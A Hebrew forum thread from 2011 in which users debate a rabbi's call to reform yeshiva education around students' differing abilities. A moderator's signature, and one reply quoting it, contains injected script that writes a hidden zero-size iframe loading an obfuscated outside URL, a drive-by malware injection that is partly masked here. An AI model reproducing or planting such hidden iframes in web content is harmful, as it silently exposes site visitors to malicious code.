בית פורומים עצור כאן חושבים

האם מבינים שצורת הלימוד הישיבתי עלולה לייאש ולדחות החוצה?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-29/8/2011 22:21 לינק ישיר 
האם מבינים שצורת הלימוד הישיבתי עלולה לייאש ולדחות החוצה?

http://www.bhol.co.il/Article.aspx?id=31488

זעקת הרב: "הצילו את הנוער החרדי לפני שיהיה מאוחר"
הגאון רבי יוסף אברהם הלר - מבכירי רבני חב"ד - קורא למהפכה בסדרי עולם הישיבות • "לא כל ילד יכול ללמוד כל גמרא - עולם הישיבות חייב לעבור שידוד מערכות!"
שטורעם.נט 18:36 29/08/2011
הגאון רבי יוסף אברהם הלר. צילום: שטורעם.נט  
 
הדפס שלח לחברסלולר
17

"אלפי ילדים נושרים, אלפים אחרים - בתוך מסגרת הישיבות לא מוצאים סיפוק בלימודיהם, עולם הישיבות חייב להסיק מסקנות ולהציל את הנוער, מדובר בפיקוח נפש!". 

כך זועק הגאון רבי יוסף אברהם הלר, מבכירי רבני ארה"ב, מחניכי ישיבת בריסק וראש 'כולל אברכים' שעל ידי מזכירות כ"ק אדמו"ר זי"ע, חבר הבד"ץ והמרא דאתרא של שכונת קראון הייטס. 

לפי דברי הרב, עולם הישיבות נחל כשלון בהנחלת אהבת התורה לכל חניכיו. רבים מתוכו לא חשים סיפוק. 

לא מעטים מהתלמידים נושרים לחלוטין מהמסגרות, ויש אחרים - רבים אף יותר - שאינם חשים כל הצלחה במסגרות הלימודיות הקיימות. 

"בעבר לא היה מושג כזה שכולם לומדים בישיבה כל היום, אומר הרב, "רק יחידי סגולה היו חובשים את ספסל הלימודים. השאר קבעו עיתים לתורה ושאר היום עסקו במלאכה. כך גם כל תלמיד חכם התגדר לו בתחום לימוד אחר", אומר הרב וקובע, "יש למכור את כל ספרי התורה בבתי הכנסת ולממן עימם הקמת מסגרות לימודיות מסוג חדש". 

דברי הרב הנוקבים, עוררו סערה בקרב ראשי ישיבות ארצות הברית, וגם בארץ ישראל. 

אנו מגישים את התמליל המלא של דברי הרב מעוררי הסערה.

הילדים שלנו סובלים!

יש עשרות ילדים התועים בדרך ונאבדים, וברוך השם שנתברכנו בהרבה מוסדות שנוסדו, כדי לקרב את אותם שירדו לגמרי מדרך התורה. 

אך התועים אינם רק אלו שירדו לגמרי מן הדרך: יש צעירים רבים בכל ישיבה, שהם מבולבלים ועומדים בסכנת נשירה. 

זו לא רק סכנה, אלא עצם זה שהם תועים ומבולבלים – הוא כבר אבידה גדולה, שכן יש להשקיע את כל הכוחות על מנת להחזיקם ולהדריכם. משום שכל אחד ראוי שיצליח בלימוד התורה וקיום המצוות, ואין לחפש רק אחרי אלו העומדים שכבר נמצאים בשאול תחתית. 

צריכים לתת להם את מלוא תשומת הלב ולהראות להם את היופי וה"געשמאק" שבדרך התורה. 

יש שעדיין מתנהגים לגמרי כפי שצריך, אך היות ואין מחנכים אותם כפי שצריך, ואין מספקים להם את צרכיהם הרוחניים כדרוש, הם עלולים לרדת מן הדרך ולתעות, והחוב מוטל על כל אחד מאיתנו לשים לב לסבלם, ולעזור להם. 

כיצד עושים זאת?

כל ילד שונה

הכלל הראשון הוא שכל ילד הוא שונה, לכל אחד סדר עבודה שונה מהשני, ומכל אחד תובעים תביעה שונה ממה שתובעים מחברו, וכל אחד יכול להצליח במאה אחוז לעשות את מה שתובעים ממנו, הן בלימוד התורה והן בעבודת ה'. 

אם נצליח להראות לכל ילד מה ואיך הוא צריך ללמוד לפי ערכו, הילד ירגיש שהוא מוצלח במאה אחוז. 

אך אם נותנים אנו לילד לחוש שהוא "לא יוצלח" ולא עומד בציפיות שציפינו ממנו, אזי נוסף לעצם הצער שהילד סובל, ישנה סכנה שכיון שאינו מצליח בלימודו, ילך לחפש הצלחה במקום אחר. 

האמת היא שקשה לצפות מהמוסדות שידאגו ויתמסרו לכל תלמיד לפי ערכו, שהרי זהו דבר שכמעט בלתי אפשרי. לכן מוטל הדבר על ההורים השכנים והידידים, לראות שכל תלמיד יצליח לפי הפוטנציאל האינדיבידואלי שלו.

גמרא? לא לכולם!

בעבר לא היה מושג כזה שכולם לומדים בישיבה כל היום. רק יחידי סגולה היו חובשים את ספסל הלימודים, והשאר קבעו עיתים לתורה ושאר היום עסקו במלאכה. 

היום יש מושג חדש, שאין לו מקור בתורה שכולם צריכים ללמוד גמרא דווקא. מי שלומד משניות הדבר נחשב פחיתות כבוד. 

מעולם לא היה דבר כזה: לאורך הדורות למד כל אחד לפי ענינו: אחד למד גמרא, אחר משניות, האם יעלה על הדעת לומר שהשני פחות ת"ח מהראשון? והשלישי שלמד חומש עם רש"י גם הוא היה לו מקום של כבוד בבית המדרש. 

וכן הוא בלימוד הגמרא עצמה: אחד לומד סוגיא ראשונה בגמרא פסחים והשני למד בפרק האחרון, האם משום כך נחשב אחד פחות מהשני? הרי לא ייתכן שכולם ילמדו אותו ענין, שכן לא בראם הקב"ה שווים. 

על כל תלמיד להצליח לפי דרגתו ואם הוא מרגיש שמצליח כפי הערך שלו, הוא ירגיש סיפוק והנאה בלימודו ואינו חייב להיות גאון גדול. 

אבל אם לומדים איתו יותר מיכולתו או פחות מכישוריו, הוא לא ירגיש סיפוק, ויצטער מהלימוד. 

לדוגמא: יש תלמיד, שאם ילמדו עמו משנה אחת ליום, ויסבירו לו את המשנה לאט לאט בדוגמאות ומשלים, הוא ירגיש שהוא מבזבז את זמנו לשוא. ומאידך תלמיד אחר שלפי כישרונותיו הוא מתאים ללמוד רק משנה אחת ליום ירגיש סיפוק והנאה.

המתמטיקאי, הפילוסוף והטכנאי

לכן, לא ייתכן שכתה שלימה ילמדו בסגנון אחד שהרי לכל אחד דפוס חשיבה משלו ואי אפשר להכריח כל ילד שילמד בסגנון של חבירו. 

משל למה הדבר דומה: למתמטיקאי, פילוסוף וטכנאי, שלשה סוגי ראשים מצויינים, אבל שונים זה מזה בדרכי החשיבה שלהם. האם אחד פחות חכם מהשני? כך ברא הקב"ה את עולמו שאין שני ראשים דומים זה לזה, וכל אחד חכם בתחומו הוא. 

וכך כשלומדים סוגיה מורכבת נניח מחלוקת בין 2 תנאים, הגמרא מביאה על כך מחלוקת בין שני אמוראים בפרשנות המחלוקת. הרי לנו 4 שיטות. אחר כך הגמרא מביאה דעה שונה במחלוקת האמוראים - הרי לנו 8 שיטות. ובכל זה יש מחלוקת רש"י ותוספות – הרי לנו 16 שיטות. ובזה עצמו מחלוקת ביו פרשנים שונים וכך יש לנו 32 שיטות. 

תלמיד שמצליח להבין את כל השיטות הללו זה תלמיד עם ראש מתמטי, אך כמה תלמידי חכמים מסוגלים לכך? 

לעומת זאת תלמיד אחר יצליח ליישב סתירה בין שתי גמרות שכן הוא ניחן בראש פילוסופי. ואחרים יש להם חוש פרקטי טכני, שידעו לדמות מושגים הלכתיים לעולם המעשה. 

ולכן, כאשר בישיבה מוסרים שיעורים עם חשבונות מורכבים וסברות דקות, יש תלמידים רבים שאינם להם כלים לסוג לימוד שכזה. אך אם היו לומדים איתם סוגיות בהלכה שנוגעים למעשה, שידעו היטב את מחלוקת התנאים והאמוראים בסוגיא, ומחלוקות הראשונים והאחרונים עד לשאלות פרקטיות בני זמנינו, היו מרגישים שככל שעובר הזמן נעשים הם מומחים יותר ויותר באותו תחום, ויהיה להם מזה הרבה סיפוק.

מוסדות שונים לילדים שונים

המסקנה היא שחייב להיות בכל מוסד מחלקות שונות. לדוגמא: לילדים בני אותו גיל תהיה כתה אחת הלומדת גמרא, כתה שניה הלומדת משניות על רמה גבוהה וכתה שלישית הלומדת הלכות מעשיות. 

אכן זה וודאי שהמוסד מצד עצמו חייב שתהיה לו מסגרת אך לא פחות חשוב, חייב שתהיה אופציה אופציה לתלמיד לבחור לאיזה כתה ולאיזה תחום הוא שייך. 

אם לא נותנים לו את האפשרות – הרי זה כמו שיכריחו את הפילוסוף להיות מתמטיקאי ובמקום שכל אחד יהיה הכי מוצלח בתחומו, נעשו כולם ללא מוצלחים. 

צריכים לפתוח הרבה סוגי מוסדות כאלו, וישנם הרבה תורמים שיהיו מוכנים לתמוך בזה, מאחר שאף הם עצמם התאכזבו והם עצמם סבלו כשהיו בישיבה, וד"ל. 

מוכרחים להסביר לאנשים שמדובר בפיקוח נפש של ממש, ואם יחסר לזה כסף אזי על פי ההלכה יש למכור את כל ספרי התורה בבתי הכנסת כך שלכל בית כנסת יישאר רק ס"ת אחד, וכך לממן את העלויות. 

לאחרונה יש התעוררות גדולה לכתוב ספרי תורה, וכמעט כל חודש יש בשכונתנו עוד הכנסת ספר תורה. אם כך ודאי שיהיו מוכנים לתרום כסף לצורך מוסדות חדשים. כי הוא חשוב יותר מספרי תורה. 

מסופר שאשה אחת כתבה לרבי שרוצה לתרום ס"ת לעילוי נשמת קרוביה, והשיב הרבי (אגרות קודש ח"ל ע' צב) שאם תתמוך באברך הלומד תורה, אזי דבר זה יעזור לעליית הנשמה יותר מאשר ספר התורה. ווקל וחומר בעניין הזה הנוגע להצלת נפשות של ילדי ישראל. 

כך הורי הילדים צריכים לדעת, שאם רואים את בנם שאינו יכול להצליח בשום אופן במקום בו הוא נמצא, אפילו אם ישתדל קצת יותר, אזי אפילו אם זהו באמצע הזמן מוכרחים הם להוציא את בנם מהישיבה. זה פקוח נפש.

קישורים :

מקור: שטורעם.נט

 

דייר שואל:

האם מתחיל ליפול האסימון?

בתירגום עברי: האם מתחילים להבין שהצדק עם המבקר?

שאלות לדיון:

קודם כל לברר:

א. מהי צורת הלימוד הישיבתי שנגדו יוצא בעל המאמר?

ב. מה הם החסרונות לדעתו?

ג. מה התוצאות השליליות?

אחר כך לבדוק עוד:

ד. האם יש גם תוצאות טובות ללימוד הישיבתי היום?

ה. האם יש תחליף?

ו. איך משנים?

***  תוקן בידי עצכח, כולל העתקת המקור, שאלות להתוית דיון, ושינוי הכותרת.

נא לא לפתוח אשכולות עם לינק וכותרת חסרת מובן!


תוקן על ידי עצכח ב- 29/08/2011 23:34:27




דווח על תוכן פוגעני

מחובר
נשלח ב-29/8/2011 22:33 לינק ישיר 
הולך רק חצי מהדרך

יש במאמר הכרה (חלקית) בבעייה היום, אבל המסקנה רעה, לדעתי. הפסקה הבאה מתמצתת זאת:

"בעבר לא היה מושג כזה שכולם לומדים בישיבה כל היום, אומר הרב, "רק יחידי סגולה היו חובשים את ספסל הלימודים. השאר קבעו עיתים לתורה ושאר היום עסקו במלאכה. כך גם כל תלמיד חכם התגדר לו בתחום לימוד אחר", אומר הרב וקובע, "יש למכור את כל ספרי התורה בבתי הכנסת ולממן עימם הקמת מסגרות לימודיות מסוג חדש".

הקפיצה מ"השאר.. עסקו במלאכה" לקביעה על התגדרות לימודית שכביכול היתה לגיטימית בעבר ולמסקנה שיש להקים עוד מסגרות לימודיות - לקויה לדעתי.





דדווח על תוכן פוגעני

מנותק
נשלח ב-29/8/2011 23:35 לינק ישיר 

הנושא חשוב מאד. אבל האם הציטוטים מציגים אותו נכון?

אני מצטט מראש הכתבה:

אלפי ילדים נושרים, אלפים אחרים - בתוך מסגרת הישיבות לא מוצאים סיפוק בלימודיהם, עולם הישיבות חייב להסיק מסקנות ולהציל את הנוער, מדובר בפיקוח נפש!". 

כך זועק הגאון רבי יוסף אברהם הלר, מבכירי רבני ארה"ב, מחניכי ישיבת בריסק וראש 'כולל אברכים' שעל ידי מזכירות כ"ק אדמו"ר זי"ע, חבר הבד"ץ והמרא דאתרא של שכונת קראון הייטס. 

לפי דברי הרב, עולם הישיבות נחל כשלון בהנחלת אהבת התורה לכל חניכיו. רבים מתוכו לא חשים סיפוק. 

לא מעטים מהתלמידים נושרים לחלוטין מהמסגרות, ויש אחרים - רבים אף יותר - שאינם חשים כל הצלחה במסגרות הלימודיות הקיימות. 

"בעבר לא היה מושג כזה שכולם לומדים בישיבה כל היום, אומר הרב, "רק יחידי סגולה היו חובשים את ספסל הלימודים. השאר קבעו עיתים לתורה ושאר היום עסקו במלאכה. כך גם כל תלמיד חכם התגדר לו בתחום לימוד אחר", אומר הרב וקובע, "יש למכור את כל ספרי התורה בבתי הכנסת ולממן עימם הקמת מסגרות לימודיות מסוג חדש".

לדעתי, לא רישא סיפא ולא סיפא רישא. בעברית ובהרחבה, יש כאן שתי טענות שונות. האחת שאין מעניקים סיפוק ללומדים ולא אהבת תורה. השניה, שתובעים ללמוד כל היום רק תורה.

כל אחת מן הטענות עשויה להיות מוצדקת. יש הרבה דברים לתקן בלימוד הישיבתי של היום, כפי שכבר הערתי בהשלמה להודעה הפותחת. אבל האם הבעיות האלו קשורות ללימוד של יום שלם? האם לימוד חצי יום ועבודה חצי יום ישלימו את החסר?

מיימוני הכותב וחותם בשם עצכח 



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2011 08:06 לינק ישיר 

מיימוני חשבתי שהפורום נועד לאנשים חכמים שלא צריך להאכיל אותם בכפית עם אוכל לעוס
ולהסביר להם כל דבר.
אני סמוך ובטוח שחברי הפורום ידעו למה הכוונה בביטוי "נפל האסימון" ותתפלא
אבל אפילו ידעו לעשות את ההקשר לכתבה.
אני מאד מעריך אותך אבל לפעמים ההסברים וההארות פשוט מוגזמים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/8/2011 08:50 לינק ישיר 

דייר

לתשומת ליבך, זה לא רק אני אלא חוקי הפורום.

אין די בלינק מפני שלינקים נשברים ונעלמים. במיוחד בהייד פארק שעובר שינוי כתובות מזמן לזמן.

טוב להגזים בביאור מאשר להשאיר דברים לא ברורים. קבל זאת כהנהגה מחייבת בפורום גם אם לדעתך אין בכך צורך. תודה.

ולכן: יש להקפיד על כותרות ברורות ולשרטט מתווה לדיון. עיין נא בחוקת הפורום (אני משער שקראת ושכחת).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2011 10:57 לינק ישיר 

שלום מיימוני,

נראה לי ששנינו ציינו שלמעשה יש כאן לפחות שתי טענות שונות. הראשונה מדברת על חברה רחבה שלומדת כל הזמן, והשנייה מדברת על תכני הלימוד.
אבל מעבר לאבחנה שדברי המחבר מתחלקים לשתי נקודות, לדעתי יש לקבוע שדבריו מתחלקים לשתי נקודות *בעלות הבדל עקרוני ביניהן*. רק הראשונה השתנתה בצורה ישירה. בעבר לא היה מימון לכל מי שרצה ללמוד כל הזמן, והיום יש. על כך אין וויכוח. הנקודה השניה השתנתה, אם בכלל, באופן עקיף, וייתכן מאד שכתוצאה מהנקודה הראשונה. לדוגמה, המחבר טוען שבעבר היו כאלה שהרגישו בנוח עם לימוד תורה עם רש"י, ולאו דוקא גמרא. מסקנתו ממכלול הדברים, לדעתי, שגויה מתודולוגית. בעבר, כשאנשים וויסתו את הזמן שלהם בבית המדרש יותר לפי ראות עיניהם, אז סביר שמי שלא הרגיש בנוח עם לימוד ברמה נמוכה יותר - פשוט צמצם את זמנו בבית המדרש, או אפילו הפסיק להגיע. די לפי ההגדרה, כל אחד שלמד בבית המדרש מצא משהו שמעניין אותו (למעט אולי מעטים שהופעל עליהם לחץ משפחתי - נניח בני רבנים בכירים).
יש עוד הבדלים בין הנקודה הראשונה לשניה. היות שמעולם לא התקיימה חברת לומדים כ"כ גדולה, לא ברור האם מודל זה בעל חיות כלכלית וחברתית. מבחינה אידאולוגית, לא מוצדק לדעתי להיות נטל כלכלי כה גדול על שאר החברה, ולא ברור מדוע הזנחת חינוך קטינים במקצועות השוק אינו רשלנות פושעת בקטין. (צר לי על הבוטות - כך אני מרגיש.) הנקודה השניה, לעומת זאת, דנה במי שבחר להיות בעולם זה, ואיכשהו מצא מימון לכך (היום זה מתרחש בצורה גרועה). חשיבות מציאת מסגרת מתאימה לו - פחות חשובה לכלל הציבור.

כל טוב,

שיבולאיו


תוקן על ידי xibolaiyu ב- 30/08/2011 10:59:51




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2011 11:04 לינק ישיר 

לייאש ולדחות החוצה? אין סיכוי! בחוץ מחכה הצבא! בחוץ מחכה עבודה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2011 12:12 לינק ישיר 

<האם הבעיות האלו קשורות ללימוד של יום שלם? האם לימוד חצי יום ועבודה חצי יום ישלימו את החסר?> 

הבעיה אינה בשעות הלימוד, אלא באלה שאינם מסוגלים להבין, שכל אדם הוא עולם בפני עצמו, עם בעיות, דרישות ותחומי התענינות משלו.

האם הרב העליר חשב מי ישלם עבור הדרישות השונות של התלמידים?



תוקן על ידי נישטאיך ב- 30/08/2011 12:36:12




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/8/2011 16:15 לינק ישיר 

כיצד מעניקים סיפוק ללומדים ואהבת תורה?
אולי יש כאלה שיש להם את זה וכאלה שפשוט אין להם?
אולי לא כולם נועדו ללמוד יום שלם, אלא לעבוד. ובכך שדוחפים אותם ללמוד כל היום גורמים להם עוול?

הרמב"ם בהקדמה למשניות כותב:

"מדוע המציא הקב"ה כל האנשים אשר לא יציירו מושכל לנפשם? ואנו רואים, שרוב בני אדם ערומים מן הערמה, וריקים מן החכמה, מבקשים התאווה; ושהאיש החכם המואס בעולם – הוא יחיד בין רבים, לא יימצא אלא אחד בדור מהדורות.

התשובה על זה, שהאנשים ההם נמצאו לשתי סיבות: האחת, להיותם משמשים לאחד ההוא. שאילו יהיו כל בני אדם מבקשים חכמה ופילוסופיא, נשחת תיקון העולם, ואבד מין בעלי חיים מן העולם בימים מועטים.
והסיבה השנית במציאות מי שאין בו חכמה, מפני שאנשי החכמה הם מעטים מאד. וזה הדבר נתחייב בדרך החכמה האלהית... ועל כן נבראו ההמון לעשות חברה לחכמים, שלא ישארו שוממים. ואולי תחשוב שזאת התועלת קטנה, אבל היא צריכה וראויה יותר מן הראשונה."





דדווח על תוכן פוגעני

מחובר
נשלח ב-30/8/2011 16:23 לינק ישיר 

מיימוני כתב:
דייר

ולכן: יש להקפיד על כותרות ברורות ולשרטט מתווה לדיון. עיין נא בחוקת הפורום (אני משער שקראת ושכחת).

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


אני לא רוצה להיות קטנוני אבל האשכול הזה ממש מציג מתווה לדיון עם הכותרת הכי ברורה שיכולה להיות
http://www.bhol.co.il/forums/topic.asp?cat_id=24&topic_id=2912285&forum_id=1364



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/8/2011 16:54 לינק ישיר 

אני הייתי מציע שיעור של שעה גלישה בפורום המעניין הזה לישיבות. 
לדעתי היה מרחיב את הלב והמוח בשלל נושאים מענינים יש פה אשכולות
שהם נופת צופים בלי הגזמה עם שלל דעות מכל גווני הקשת הישיבה הכי מגוונת
וגדולה בעולם.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האם מבינים שצורת הלימוד הישיבתי עלולה לייאש ולדחות החוצה?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר

bholext